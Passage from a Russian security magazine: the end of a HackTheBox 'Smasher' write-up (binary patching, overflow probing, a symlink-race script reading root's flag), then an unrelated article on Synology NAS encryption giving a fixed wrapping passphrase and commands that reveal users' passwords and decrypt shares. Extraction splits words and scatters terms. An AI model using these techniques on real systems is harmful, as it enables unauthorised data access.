openat(AT_FDCWD, "checker", O_RDONLY)   = 3
...
lseek(3, 12288, SEEK_SET)               = 12288
read(3, "\240\5@\0\0\0\0\0\240\5\0\0\0\0\0\0\260\1\0\0\0\0\0\0\5\0\
0\0\30\0\0\0"..., 1329) = 1329
lseek(3, 0, SEEK_SET)                   = 0
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\2\0>\0\1\0\0\0\260\10@\0\0\
0\0\0"..., 12288) = 12288
read(3, "\240\5@\0\0\0\0\0\240\5\0\0\0\0\0\0\260\1\0\0\0\0\0\0\5\0\
0\0\30\0\0\0"..., 4096) = 1329
close(3)                                = 0
write(1, "File UID: 0\n", 12File UID: 0
...
write(1, "\nData:\n", 7
...
write(1, "\177ELF\2\1\1", 7ELF)            = 7
exit_group(0)                           = ?
<span class=nobr>+ exited with 0 </span>+

Как  мож но  видеть,  резуль тат  поч ти  пол ностью  отра жает  ту  тек сто вую
блок‐схе му, которую мы наб росали пос ле ана лиза в Cutter.

Об ход огра ниче ния UID на запуск
Так  как  успешно  работать  с  прог раммой  может  толь ко  поль зователь  с  UID
1001,  у  нас  не  получит ся  прос то  так  запус тить  его  на  сво ей машине.  Что бы
открыть   в дебаг гере, нуж но обой ти это огра ниче ние. На ум при ходят
сра зу нес коль ко спо собов.

checker

Пер вый вари ант — соз дать  поль зовате ля  smasher  с  нуж ным поряд ковым
номером на Kali.

 
root@kali:~# useradd ‐u 1001 ‐m smasher 
root@kali:~# smasher su smasher 
 

 
smasher@kali:/root/htb/boxes/smasher$ whoami 

 

python ‐c 'import pty; 
pty.spawn("/bin/bash")'

smasher

Пос ле это го я смо гу запус тить  .checker

 

 

smasher@kali:/root/htb/boxes/smasher$ ./checker 
 

  
[+] Welcome to file UID checker 0.1 by dzonerzy

Missing arguments

Вто рой  вари ант  —  про пат чить  бинарь.  Для  это го  най дем  машин ное  пред‐ 
став ление инс трук ции,  которая отве чает за про вер ку UID  (по рас положе нию
чис ла  ).0x3e9

 

 

root@kali:~# objdump ‐D checker | grep ‐A1 ‐B1 0x3e9 
 

 
400a93:       e8 38 fd ff ff          callq  4007d0 <getuid@plt>
400a98:       3d e9 03 00 00          cmp    $0x3e9,%eax
400a9d:       74 14                   je     400ab3 <main+0x38>

За меним    на  ,  что бы  запус кать    от  име ни  root.  Это мож но
сде лать как кон соль ными ути лита ми (тем же все могу щим  ), так и гра фичес‐ 
кими (нап ример,  ). Я оста нов люсь на пер вом спо собе.

0x3e9 0x0 checker
vi

ghex

 

 

root@kali:~# vim checker 
(vim) :% !xxd 
(vim) /3de9 
(vim) Enter + i 

 
(vim) Escape 
(vim) :w 
(vim) :% !xxd ‐r 
(vim) :wq 
root@kali:~# ./checker checker 

3de9030000 => 9083F80090

...

Пат чим checker с помощью vi

Я заменил машин ный код  , отве чающий за инс трук цию 
, на   — что экви вален тно   с добиты ми

до  ори гиналь ной  дли ны  инс трук циями  NOP  ( ).  Ассем бли ровать  мне‐ 
мони ки в опкод (и наобо рот) мож но с помощью   или  .

3d e9 03 00 00 cmp 
eax,0x3e9 90 83 F8 00 90 cmp eax,0x0

0x90
Ropper он лайн

Воз можен ли срыв сте ка?
От кро ем    в  GDB  PEDA  и  поп робу ем  переза писать  RIP.  Для  это го  я
сге нерю  пат терн  дли ной  1000  байт,  сох раню  в  файл    и  подам  его
на вход чекеру.

checker
p.txt

 

 

gdb‐peda$ pattern create 1000 p.txt 
 

gdb‐peda$ r p.txt 
Writing pattern of 1000 chars to filename "p.txt"

...

Прог рамма ожи даемо упа ла. Пос мотрим содер жимое регис тра RSP.

 

 

gdb‐peda$ x/xg $rsp 
0x7fffffffde40: 0x00007fffffffe158

В RSP содер жится ука затель. Если пой ти даль ше и взгля нуть на содер жимое
ука зате ля, мы най дем часть нашей цик личес кой пос ледова тель нос ти.

 

 

gdb‐peda$ x/xs 0x00007fffffffe158 

 
gdb‐peda$ pattern offset BWABuABXABv 

0x7fffffffe158: "BWABuABXABvABYABwABZABxAByABzA$%A$sA$BA$$A$nA$CA$‐A$(
A$DA$;A$)
A$EA$aA$0A$FA$bA$1A$GA$cA$2A$HA$dA$3A$IA$eA$4A$JA$fA$5A$KA$gA$6A$LA$hA$7
A$MA$iA$8A$NA$jA$9A$OA$kA$PA$lA$QA$mA$RA$oA$SA$pA$TA$qA$UA$rA$VA$t"...

BWABuABXABv found at offset: 776

Из‐за  того,  что в RSP сох раня ется не само содер жимое фай ла, а  ука затель
на него, у меня не выш ло получить кон троль над RIP. Не уве рен, воз можно ли
это в прин ципе, так что пой дем по пути наимень шего соп ротив ления и перек‐ 
лючим ся на ата ку по вре мени.

Гон ка за root.txt
Стра тегия прос та до безоб разия:

соз даем фей ковый файл, который мы заведо мо можем читать;•
соз даем сим воличес кую ссыл ку, ука зыва ющую на него;•
асин хрон но  (в  фор ке  про цес са  основно го  шел ла)  скар мли ваем  файл
чекеру;

•

ждем пол секун ды, что бы попасть на секун ду «ожи дания»;•
под меня ем сим воличес кую ссыл ку на любой дру гой файл (толь ко не слиш‐ 
ком боль шой, что бы не сло вить ошиб ку сег мента ции).

•

#!/bin/bash

# Использование: bash checker‐exploit.sh <ФАЙЛ>

# Создаем пустой файл, который будет нашим «прикрытием»
touch .fake

# Создаем связующее звено — символическую ссылку на .fake, которую 
мы подменим далее
ln ‐s .fake .pivot

# На фоне запускаем чекер и ждем полсекунды, чтобы попасть в окно 
секундной задержки
checker .pivot &
sleep 0.5

# Подменяем символическую ссылку на другой файл, переданный скрипту 
в первом аргументе
ln ‐sf $1 .pivot

# Ждем еще полсекунды и чистим следы
sleep 0.5
rm .fake .pivot

 

 

smasher@smasher:~$ ./checker‐exploit.sh /root/root.txt 
 

  
 

  
 

[+] Welcome to file UID checker 0.1 by dzonerzy

File UID: 1001

Data:
077af136????????????????????????

Вот и все: Сок рушитель повер жен, root‐флаг у нас!

Тро фей

ЭПИЛОГ
Ана лиз tiny.c с помощью PVS-Studio
Ког да я нашел уяз вимость в исходни ке  , мне приш ла в голову стран ная
мысль: пос мотреть, что ска жет о качес тве кода и воз можных проб лемах с ним
ста тичес кий ана лиза тор. Рань ше мне доводи лось работать толь ко с 

 от оте чес твен ных раз работ чиков — с его помощью я и решил удов летво‐ 
рить  свое  любопытс тво.  Не  до  кон ца  уве рен,  что  имен но  я  ожи дал  уви деть
в  отче те,  ведь  перепол нение  сте ка  здесь  носит  неоче вид ный  харак тер.
«Небезо пас ные» фун кции нап рямую в нем не винова ты — и стран но ожи дать,
что ана лиза тор най дет опас ность в вызове или реали зации фун кции 

. Но мне все же было инте рес но.

tiny.c

PVS‐Stu‐
dio

url_de‐
code

Я заг рузил и уста новил PVS‐Studio на Kali.

 

 

root@kali:~# wget ‐q ‐O ‐ https://files.viva64.com/etc/pubkey.txt | sudo 
apt‐key add ‐ 
root@kali:~# sudo wget ‐O /etc/apt/sources.list.d/viva64.list 
https://files.viva64.com/etc/viva64.list 
root@kali:~# sudo apt update 
root@kali:~# sudo apt install pvs‐studio ‐y

По том  добавил  две  стро ки  в  начало  исходно го  кода  ,  как 
на офи циаль ном сай те прог раммы, — для акти вации ака деми чес кой лицен‐ 
зии.

tiny.c по каза но

// This is a personal academic project. Dear PVS‐Studio, please 
check it.
// PVS‐Studio Static Code Analyzer for C, C++, C#, and Java: http://
www.viva64.com

Я все еще сту дент, поэто му чист перед сво ей совестью и законом.
Да лее  я  заком менти ровал  еще  две  стро ки  в    —  что бы  GCC

не  жаловал ся,  что  он  не  зна ет  о  сущес тво вании  дирек тивы 
(  перено симос ти).

tiny.c
SO_REUSEPORT

проб лемы

// if (setsockopt(listenfd, SOL_SOCKET, SO_REUSEPORT, (const char*)&
reuse, sizeof(reuse)) < 0) 
//  perror("setsockopt(SO_REUSEPORT) failed");

Те перь я могу соб рать про ект при помощи   через трас сиров ку PVS‐Stu‐
dio (кста ти, здесь неяв но исполь зует ся уже зна комый нам  ).

make
strace

 

 
pvs‐studio‐analyzer trace ‐‐ make

Ко ман да соз дала файл   — он содер жит резуль таты трас сиров ки
и  будет  исполь зован  на  сле дующем  эта пе.  Ана лизи руем  про цесс  сбор ки
с помощью  , ука зав имя выход ного фай ла через флаг  .

strace_out

analyze ‐o

 

 

pvs‐studio‐analyzer analyze ‐o project.log 
 

 
 

Using tracing file: strace_out
[100%] Analyzing: tiny.c
Analysis finished in 0:00:00.28
The results are saved to /root/htb/boxes/smasher/pvs‐tiny/project.log

И  наконец,  поп росим  ста тичес кий  ана лиза тор  сге нери ровать  рас ширен ный
финаль ный отчет в фор мате HTML.

 

 

plog‐converter ‐a GA:1,2 ‐t fullhtml project.log ‐o . 
 

 
  

 

 
 

  
 

Analyzer log conversion tool.
Copyright (c) 2008‐2019 OOO "Program Verification Systems"

PVS‐Studio is a static code analyzer and SAST (static application secu‐
rity
testing) tool that is available for C and C++ desktop and embedded de‐
velopment,
C# and Java under Windows, Linux and macOS.

Total messages: 16
Filtered messages: 13

Те перь я могу открыть  , что бы озна комить ся с отче том.fullhtml/index.html

От чет PVS‐Studio

Боль шинс тво пережи ваний ана лиза тора свя заны с теоре тичес кими перепол‐ 
нени ями при исполь зовании фун кций   и   — в нашем слу чае их
мож но отнести к лож нополо житель ным сра баты вани ям. Одна ко ни на что дру‐ 
гое PVS‐Studio в реали зации   не пожало вал ся.

sscanf sprintf

parse_request

Ана лиз фун кции parse_request (tiny.c) в PVS‐Studio

О чем это говорит? О том, что верифи кация кода все еще труд но под дает ся
авто мати зации — даже при сов ремен ных тех нологи ях.

https://xakep.ru/2019/10/23/ctf-bitterman/#toc02.1
https://xakep.ru/2019/03/20/nsa-ghidra/
https://github.com/radareorg/cutter/releases/tag/v1.9.0
https://github.com/radareorg/r2ghidra-dec
https://en.wikipedia.org/wiki/Strace
https://github.com/sashs/Ropper
https://defuse.ca/online-x86-assembler.htm
https://ru.wikipedia.org/wiki/PVS-Studio
https://www.viva64.com/ru/b/0457/#ID0EJLAE
https://stackoverflow.com/a/14388707
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ВЗЛОМ

За щита  дан ных,  при ват ность  и  соот ветс твие  нор мам
безопас ного хра нения информа ции — то, над чем работа ют
прак тичес ки все про изво дите ли средств хра нения информа‐ 
ции.  И  если  в  кор поратив ном  сег менте  все  более‐менее
хорошо,  то  рек ламным  лозун гам  «безопас ное шиф рование
AES‐256» в накопи телях, нацелен ных на домаш ний сег мент,
безус ловно верить не сто ит.

Эта статья откры вает новую боль шую тему: шиф рование дан ных на внеш них
дис ках  и  сетевых  хра нили щах.  Откро вен но  нап леватель ские  реали зации
защиты,  дырявые  схе мы  хра нения  клю чей,  генера торы  слу чай ных  чисел,
выда ющие один из 255 про шитых в сис тему вари антов, — это самое малое
из  того,  с  чем  нам  довелось  стол кнуть ся  во  вре мя  иссле дова ния.  Нач нем
с самой, пожалуй, популяр ной мар ки сетевых хра нилищ — моделей ком пании
Synology.

ШИФРОВАНИЕ В СЕТЕВЫХ НАКОПИТЕЛЯХ (NAS)
Кон курен ция  сре ди  про изво дите лей  сетевых  хра нилищ для  домаш них  поль‐ 
зовате лей и офи сов огромна. Здесь и модели Western Digital, прив лека ющие
нулевой или отри цатель ной ценой (NAS со встро енным дис ком сто ит дешев‐ 
ле  такого  же  дис ка  отдель но),  и  приз нанные  гран ды  QNAP  и  Synology,
которые  берут  мощ ной  прог рам мной  частью  и  дли тель ной  под дер жкой,
и выс тупа ющие с перемен ным успе хом Asustor и Drobo, и даже экзо тичес кие
для нас Terra Master и Thecus. В боль шинс тве моделей этих про изво дите лей
пре дус мотре но шиф рование, поз воля ющее защитить поль зователь ские дан‐ 
ные.

ШИФРОВАНИЕ В SYNOLOGY
Все без исклю чения сетевые накопи тели Synology исполь зуют один и тот же
алго ритм шиф рования AES с дли ной клю ча 256 бит. Выбор это го алго рит ма
шиф рования впол не логичен: боль шинс тво сов ремен ных наборов мик росхем
под держи вает  аппа рат ное  уско рение  AES  или  хотя  бы  набор  инс трук ций,
исполь зующих ся имен но в этом алго рит ме. Тем не менее реаль ная безопас‐ 
ность  зашиф рован ных  таким  обра зом  дан ных  разитель но  отли чает ся
в зависи мос ти от реали зации.

Прак тичес ки  во  всех  NAS,  в  которых  вооб ще  есть  воз можность  зашиф‐ 
ровать дан ные, исполь зует ся либо защита все го накопи теля целиком (аппа‐ 
рат ное  шиф рование  SED  —  Self‐Encrypting  Disk  —  на  уров не  кон трол лера
SATA), либо шиф рование тома, рас положен ного как на одном дис ке, так и на
мас сиве RAID. В час ти моделей  (нап ример, QNAP) мож но акти виро вать оба
спо соба — и это поз воля ет избе жать некото рых оче вид ных атак.

В моделях Synology, пред назна чен ных для сер верных сто ек, так же мож но
акти виро вать аппа рат ное шиф рование SED. Одна ко боль шинс тво домаш них
и офис ных моделей такой воз можнос ти лишены. Вмес то это го Synology пред‐ 
лага ет  исполь зовать  шиф рование  фай лов  на  уров не  отдель ных  сетевых
папок.

Шиф рование  реали зова но  средс тва ми  стан дар тной  для  Linux  фай ловой
сис темы  eCryptFS,  о  которой  мож но  почитать,  нап ример,    или  .
В срав нении с метода ми шиф рования, осно ван ными на защите целых томов,
у такого пофай лового шиф рования есть и дос тоинс тва, и недос татки.

здесь здесь

В дос тоинс тва мы запишем сле дующее:
1. Пос коль ку  шиф руют ся  отдель ные  сетевые  пап ки,  не  име ет  абсо лют но
никако го  зна чения,  на  каком  из  внут ренних  физичес ких  или  логичес ких
накопи телей они рас положе ны.

2. Каж дый поль зователь может зашиф ровать свою пап ку сво им собс твен ным
паролем.  Таким  обра зом  обес печива ется  защита  меж ду  отдель ными
поль зовате лями.

3. Стан дар тная  реали зация  шиф рования  поз воля ет  прос то  ско пиро вать
зашиф рован ную пап ку, к при меру на дру гой накопи тель, — и дан ные оста‐ 
нут ся надеж но зашиф рован ными. При этом смон тировать и рас шифро вать
такую  пап ку  лег ко  получит ся  стан дар тны ми  же  средс тва ми  на  любом
компь юте ре с Linux.

4. Шиф руют ся как сами дан ные, так и име на папок и фай лов.

Ес ли у пофай лового шиф рования столь ко дос тоинств, почему все осталь ные
про изво дите ли пред почита ют шиф ровать целые тома? К сожале нию, недос‐ 
татки eCryptFS спо соб ны серь езно огра ничить шиф рование или даже сде лать
его невоз можным.

Ос новное  и  самое  неп рият ное  огра ниче ние  eCryptFS —  на  дли ну  имен
фай лов.  В  име ни  фай ла  в  зашиф рован ной  пап ке  не  может  быть  боль‐ 
ше 143 сим волов ANSI или 47 сим волов иерог лифичес кой записи.

Сле дующее  огра ниче ние  нап рямую  каса ется  безопас ности  зашиф рован ных
дан ных, и оно более чем серь езно. В рам ках реали зации eCryptFS раз работ‐ 
чики Synology не пре дус мотре ли такой прос той вещи, как раз деление клю чей
шиф рования дан ных MEK (Media Encryption Key) и клю чей шиф рования клю ча
KEK  (Key  Encryption  Key).  В  резуль тате  тот  пароль,  который  поль зователь
зада ет  при  соз дании  зашиф рован ной  пап ки,  и  слу жит  тем  самым  клю чом
шиф рования дан ных — MEK. Не говоря даже о том, что энтро пия задан ного
домаш ним  поль зовате лем  или  офис ным  работ ником  пароля,  как  пра вило,
сущес твен но  мень ше  256  бит,  что  поз воля ет  соз дать  очень  быс трую
и эффектив ную ата ку.

Кро ме того, в этой реали зации поль зователь не может сме нить ключ шиф‐ 
рования без пол ной перешиф ровки сес сион ных клю чей всех до еди ного фай‐ 
лов.  Перешиф ровка  же  типич ной  сетевой  пап ки  с  нес коль кими  десят ками
тысяч  фай лов  может  занять  нес коль ко  часов  (в  зависи мос ти  от  модели
устрой ства и ско рос ти дис ка), так что, мож но ска зать, изме нение клю ча шиф‐ 
рования нераци ональ но.

Хо рошо,  об  огра ниче ниях  погово рили.  А  что  нас чет  уяз вимос тей?  Они
есть, и их боль ше одной. Но преж де чем говорить об уяз вимос тях, рас смот‐ 
рим механизм управле ния клю чами, реали зован ный в Synology.

УПРАВЛЕНИЕ КЛЮЧАМИ ШИФРОВАНИЯ В SYNOLOGY DSM
Все сетевые хра нили ща Synology работа ют под управле нием опе раци онной
сис темы Disk Station Manager  (DSM),  прак тичес ки  все модели  ком пании  (по
край ней  мере,  те  из  них,  которые  были  выпуще ны  в  пос ледние  пять‐шесть
лет)  —  под  управле нием  уни фици рован ной  сбор ки.  Обновле ния  выходят
прак тичес ки одновре мен но для всех моделей. На сегод ня акту аль ны сбор ки
DSM 6.2.

Для  управле ния  клю чами  в  DSM  6.2  исполь зует ся  ути лита  Key  Manager,
основная  задача  которой  —  сох ранить  клю чи  и  обес печить  воз можность
авто мати чес кого  мон тирова ния  зашиф рован ных  томов  пос ле  заг рузки
устрой ства.

Пос ле соз дания зашиф рован ной сетевой пап ки ключ (файл с рас ширени‐ 
ем .key, пред став ляющий собой пароль в «обер тке», — прак тичес ки обфуска‐ 
ция) авто мати чес ки сох раня ется на компь ютер поль зовате ля. Этот ключ мож‐ 
но сох ранить (нап ример, в зашиф рован ном архи ве), а мож но уда лить — если
поль зователь уве рен, что никог да не забудет пароль шиф рования.

А  вот  даль ше  есть  вари анты.  Поль зователь  может  выб рать  один  из  трех
спо собов управле ния клю чами.
1. Пол ностью  руч ное  управле ние.  На  устрой стве  Synology  пароль  не  сох‐ 
раня ется  (пом ним  при  этом,  что файл  с  клю чом  был  авто мати чес ки  сох‐ 
ранен на компь ютер поль зовате ля). При вклю чении NAS или перезаг рузке
DSM  зашиф рован ные  тома  авто мати чес ки  раз монти руют ся.  Для  их  мон‐ 
тирова ния нуж но зай ти в адми нис тра тор ский веб‐интерфейс, открыть раз‐ 
дел  сетевых  папок  и  вруч ную  смон тировать  все  нуж ные  зашиф рован ные
пап ки.  Для  прод винутых  поль зовате лей  сущес тву ет  неофи циаль ный
и недоку мен тирован ный вари ант с уда лен ным мон тирова нием через SSH,
но,  полагаю,  боль шинс тву  домаш них  и  офис ных  поль зовате лей  об  этом
неиз вес тно.

2. Дво ичный  ключ шиф рования  (machine  key  в  тер минах  DSM)  сох раня ется
на  устрой стве  Synology.  Зачем  это  может  понадо бить ся  поль зовате лю?
Да  прос то  что бы  избе жать  опи сан ных  в  пер вом  пун кте  шагов  для  мон‐ 
тирова ния зашиф рован ного тома! Дос таточ но пос тавить галоч ку в пун кте
mount on boot, и DSM авто мати чес ки под монти рует зашиф рован ную пап ку
при  заг рузке.  Про фит!  О  безопас ности,  прав да,  мож но  забыть:  если
и ключ шиф рования, и сами дан ные хра нят ся на одном и  том же устрой‐ 
стве, то рас шифров ка три виаль на.

3. На конец,  реверанс  в  сто рону  безопас ности:  ключ шиф рования  сох раня‐ 
ется не на самом устрой стве, а на внеш нем USB‐накопи теле. Более того,
ключ шиф рования MEK, сох ранен ный на внеш нем USB‐накопи теле, мож но
зашиф ровать сво им собс твен ным паролем (KEK) — и это важ ный момент.
Тем не менее и для клю чей шиф рования, сох ранен ных на USB‐накопи теле,
опция  mount  on  boot  по‐преж нему  дос тупна.  Зна чит,  при  ее  акти вации
пароль шиф рования клю ча (KEK), вве ден ный поль зовате лем, сох раня ется
на устрой стве Synology. Отме тим и этот момент.

Что про изой дет, если вста вить USB‐накопи тель с клю чом уже пос ле заг рузки,
ког да зашиф рован ная пап ка не смон тирова на? Авто мати чес ки не смон тиру‐ 
ется, будет пред ложен выбор из трех вари антов аутен тифика ции.

Как DSM получа ет дво ичный ключ шиф рования для алго рит ма AES из пароля
поль зовате ля? Мож но было бы ожи дать, что пароль шиф рования, ука зан ный
поль зовате лем, «завора чива ется» оче ред ным клю чом wrapping key, а он игра‐ 
ет роль клю ча KEK, который дол жен защитить ключ шиф рования дан ных MEK.

На самом же деле в DSM (уточ ню: в тех вер сиях DSM, которые работа ют
на  пот ребитель ских моделях Synology,  пред назна чен ных  для  дома  и  офи са)
не  исполь зует ся  ничего  подоб ного.  Дан ные  шиф руют ся  паролем,  который
уста нав лива ет поль зователь. А вот сам пароль шиф рует ся одной‐единс твен‐ 
ной  фра зой  —  ана логом  печаль но  извес тно го  default_password,  исполь‐ 
зующе гося при шиф ровании по методу FDE в Android.

Что это нам дает? Во‐пер вых, если пароль шиф рования сетевой пап ки нам
известен,  рас шифро вать  ее  содер жимое  мы  можем  на  абсо лют но  любом
компь юте ре  с  Linux,  прос то  вытащив  диск  из  сетево го  накопи теля.  Слож‐ 
ности, свя зан ные с мон тирова нием RAID‐мас сива, мы оста вим в сто роне —
в кон це кон цов, такие прог раммы сущес тву ют даже для Windows.

Во‐вто рых, если поль зователь сох ранил  ключ во встро енной  ути лите Key
Manager  (а  это  дела ют  гораз до  чаще,  чем  ты  дума ешь,  ведь  мон тирова ние
зашиф рован ных папок в DSM — занятие небыс трое и не самое удоб ное), то
такой сох ранен ный ключ тоже шиф рует ся все тем же wrapping key — теперь
мы  можем  не  толь ко  рас шифро вать  дан ные,  но  и  уви деть  сам  пароль,
который вво дил поль зователь!

Ес ли  ключ  шиф рования  сох раня ется  на  встро енном  накопи теле,  пароль
wrapping  passphrase  сме нить  нель зя.  Этот  пароль  один  и  тот  же  на  всех
накопи телях Synology.

Что получа ется в резуль тате? При исполь зовании встро енной в DSM ути‐ 
литы Key Manager уро вень защиты дан ных стро го равен нулю: и сами дан ные,
и ключ шиф рования MEK хра нят ся на жес тком дис ке, а ключ KEK фик сирован‐ 
ный и нам известен. Извле каем диск, чита ем или рас шифро выва ем дан ные,
заод но узна ем ори гиналь ный пароль, который ввел поль зователь.

Как делать пра виль но
Для  луч шего  понима ния  всей  глу бины  проб лемы  срав ним  механизм  шиф‐ 
рования DSM с тем, что исполь зуют компь юте ры с Windows. Для защиты дан‐ 
ных в Windows исполь зует ся широко извес тный и под робно докумен тирован‐ 
ный  механизм  BitLocker,  которым  мож но  зашиф ровать  сис темный  раз дел.
Ключ шиф рования дан ных MEK сох раня ется в сос таве кон тей нера; при этом
ключ MEK будет зашиф рован клю чом KEK, который генери рует защищен ный
модуль  TPM2.0.  Извлечь  отту да  этот  ключ  прак тичес ки  невоз можно,  про ще
устро ить лобовую ата ку пароля учет ной записи Windows.

Та ким  обра зом,  если  мы  вытащим  из  компь юте ра  зашиф рован ный  Bit‐
Locker  диск,  то  рас шифро вать  его  не  удас тся  даже  в  том  слу чае,  ког да
исполь зует ся  защита  самого  началь ного  уров ня —  BitLocker  Device  Protec‐
tion. Для рас шифров ки пот ребу ется, что бы диск был уста нов лен в тот самый
компь ютер с тем самым аппа рат ным модулем TPM2.0, и понадо бит ся пароль
от учет ной записи поль зовате ля. Прос то TPM2.0 или прос то пароля от учет‐ 
ной записи для рас шифров ки раз дела недос таточ но.

Ес ли все так пло хо, то в чем вооб ще смысл вклю чать шиф рование и исполь‐ 
зовать встро енный Key Manager? При чин нес коль ко.
1. Peace  of  mind.  Чувс тво  защищен ности  и  спо кой ный  сон  очень  важ ны
для  здо ровья.  О  том,  что  чувс тво  безопас ности  лож ное,  мож но  никог да
и не узнать. При мер но этой же цели (и с тем же резуль татом) слу жат теат‐ 
ры безопас ности, устро енные в некото рых стра нах орга нами охра ны пра‐ 
вопо ряд ка на вхо де в аэро порт или на желез нодорож ный вок зал.

2. Бе зопас ная  про дажа  или  ути лиза ция  работос пособ ного  накопи теля.
Допус тим, в далеком 2014 году ты при обрел NAS с дву мя гигант ски ми дис‐ 
ками аж по 3 Тбайт каж дый. В 2019 году этот объ ем уже не впе чат ляет, и ты
решил заменить их на два дис ка по 8 Тбайт. Что делать со ста рыми дис‐ 
ками? В пер вую оче редь — унич тожить дан ные. Это мож но сде лать, пол‐ 
ностью  перепи сав  содер жимое  накопи теля  —  зай мет  нес коль ко  часов.
Но  той же цели мож но добить ся  про ще и быс трее,  прос то  уда лив  клю чи
шиф рования из Key Manager. Теперь зашиф рован ные дан ные прос то циф‐ 
ровой шум, а диск дос таточ но заново ини циали зиро вать.

3. На конец, ты можешь сох ранить ключ не на встро енный, а на внеш ний USB‐
накопи тель — и вот тог да Key Manager пред ложит тебе ввес ти свой собс‐ 
твен ный пароль для защиты клю ча. Теперь для рас шифров ки дис ков пот‐ 
ребу ется USB‐накопи тель с клю чом шиф рования, а твой пароль, которым
защищен  ключ  шиф рования,  будет  сох ранен  на  внут реннем  накопи теле
в Synology.

Итак,  выпол нение  любого  из  перечис ленных  ниже  усло вий  дела ет  зашиф‐ 
рован ные дан ные уяз вимыми.
1. Поль зователь добав ляет ключ в Key Manager, сох раняя его на встро енном
накопи теле.  Положе ние  перек лючате ля  mount  on  boot  в  дан ном  слу чае
зна чения не име ет.

2. Поль зователь сох раня ет ключ на внеш нем USB‐накопи теле, и у тебя есть
дос туп к это му накопи телю.

3. Ключ шиф рования авто мати чес ки сох раня ется на компь ютер поль зовате‐ 
ля при соз дании зашиф рован ной сетевой пап ки. Если тебе дос тупен этот
ключ,  проб лемы  с  рас шифров кой  дан ных  не  будет.  Имя фай ла  по  умол‐ 
чанию — .key.

4. На конец, если тебе уда лось узнать пароль шиф рования, то рас шифров ка
дан ных три виаль на.

ЭКСПЛУАТАЦИЯ УЯЗВИМОСТЕЙ
Итак,  подыто жим  опи сан ное  выше.  В  Synology  DSM  исполь зует ся  стан дар‐ 
тная крип тогра фичес кая фай ловая сис тема eCryptFS, при этом шиф рование
SED на уров не SATA домаш ними и офис ными устрой ства ми не исполь зует ся.
Клю чи шиф рования могут  сох ранять ся  на  встро енный  или  внеш ний  накопи‐ 
тель.  В  пер вом  слу чае  ключ  шиф рования  защища ется  фик сирован ным
паролем; во вто ром пароль зада ет поль зователь, но этот пароль сох раня ется
на  встро енном  накопи теле  (по  край ней  мере,  если  вклю чена  опция  mount
on boot).

  отсутс твие  шиф рования  SED,  а  так же  шиф рования
на уров не тома поз воля ет извлечь диск и изме нить пароль от адми нис тра тив‐ 
ной  учет ной  записи  вла дель ца  устрой ства,  прос то  отре дак тировав  файл 

.

Уяз вимость  1:

/
etc/passwd

  если  поль зователь  сох ранил  ключ  шиф рования  в  DSM
Key Manager,  его  мож но  извлечь  и  исполь зовать  для  рас шифров ки  зашиф‐ 
рован ных дан ных. Кро ме того, из сох ранен ного клю ча шиф рования лег ко раз‐ 
ворачи вает ся и ори гиналь ный пароль, который вво дил поль зователь при соз‐ 
дании зашиф рован ной сетевой пап ки.

Уяз вимость  2:

  все  устрой ства  Synology  исполь зуют  фик сирован ный
пароль для шиф рования клю ча шиф рования.

Уяз вимость  3:

Сле дующая  коман да  отоб разит  ори гиналь ный  пароль,  который  вво дил
поль зователь при соз дании зашиф рован ной пап ки:

printf "%s" "\$1\$5YN01o9y" | ecryptfs‐unwrap‐passphrase keyfile.key 
‐

Здесь $1$5YN01o9y — тот самый фик сирован ный ключ wrapping passphrase,
а keyfile.key — зашиф рован ный ключ шиф рования дан ных MEK.

Уз нав  пароль,  мож но  смон тировать  зашиф рован ную  пап ку  на  любом
компь юте ре  с  Linux.  То  же  самое  мож но  сде лать  и  одной  коман дой
при помощи фай ла с клю чом шиф рования:

mount ‐t ecryptfs ‐o key=passphrase,ecryptfs_cipher=aes,ecrypt
fs_key_bytes=32,ecryptfs_passthrough=no,ecryptfs_enable_filename
_crypto=yes,passwd=$(printf "%s" "\$1\$5YN01o9y" | 
ecryptfs‐unwrap‐passphrase /path/to/keyfile.key ‐) /path/to/encryp
ted/folder /path/to/mountpoint

Пу ти  ,    и 
  нуж но  заменить  на  фак тичес ки  исполь зуемые.  Физичес ки

зашиф рован ное  содер жимое  сетевых  папок  DSM  сох раня ет  в  сле дующей
кон нотации:

/path/to/keyfile.key /path/to/encrypted/folder /path/to/
mountpoint

/Volume<N>/@<name_of_encrypted_share@

В при мере выше путь будет таким:

/Volume1/@Encrypted_Share@

Статьи по теме
• How To Recover Synology encrypted folders in Linux
• How to decrypt ecryptfs file with private key instead of passphrase
• Automatically mounting encrypted folders (на немец ком)
• Script: Decrypt encrypted folders via keyfile (.key) (на немец ком)

Ес ли  поль зователь  сох ранил  ключ  на  внеш нем  USB‐накопи теле,  DSM  зап‐ 
росит пароль для шиф рования это го клю ча.

Ес ли  поль зователь  нас тро ил  сетевую  пап ку  таким  обра зом,  что бы  она
авто мати чес ки под клю чалась пос ле заг рузки устрой ства, то этот пароль сох‐ 
раня ется на внут реннем накопи теле. Пароль мож но извлечь и исполь зовать
для дос тупа к дан ным.

На конец, если поль зователь вооб ще не сох ранил ключ шиф рования в Key
Manager, то дан ные в отно ситель ной безопас ности. «Отно ситель ной» потому,
что  сред няя  энтро пия  поль зователь ских  паролей  зна читель но  ниже  энтро‐ 
пии 256‐бит ного клю ча шиф рования AES. Ата ки на пароли имен но это го типа
сущес тву ют дав но, отлично опти мизи рова ны и работа ют чрез вычай но быс тро
(в отли чие, нап ример, от атак на  клю чи BitLocker или докумен ты, соз данные
в Microsoft Office 2016, — при про чих рав ных такие ата ки работа ют зна читель‐ 
но  мед леннее).  Ник то  не  отме нял  и  челове чес кий  фак тор,  который  так же
может исполь зовать ся для взло ма таких паролей.

ЗАКЛЮЧЕНИЕ
Дан ные  рас шифро ваны,  все  про пало?  Реаль ная  безопас ность  «неп робива‐ 
емо го»  шиф рования  в  Synology  ока залась  ниже  ожи даемой  из‐за  того,  что
аппа рат ных  механиз мов  обес печения  безопас ности  нет.  Для  обес печения
безопас ности клю чей шиф рования в iOS исполь зует ся Secure Enclave, в Win‐
dows — TPM2.0, в устрой ствах с Android — TrustZone. В домаш них и офис ных
моделях Synology не исполь зует ся ничего из вышепе речис ленно го, хотя даже
в  SoC  Realtek  RTD1296,  на  которой  осно ваны  млад шие  модели  Synology
DS118, DS218Play и DS218, под дер жка ARM TrustZone есть. Роль аппа рат ного
модуля безопас ности выпол няет фик сирован ная фра за $1$5YN01o9y — ана‐ 
лог default_password в ста рых вер сиях Android.

Вы бор  средств  защиты  дан ных  всег да  ком про мисс  меж ду  удобс твом
и  безопас ностью.  И  если  в  Windows,  Android  и  iOS  мы  получа ем  стой кую
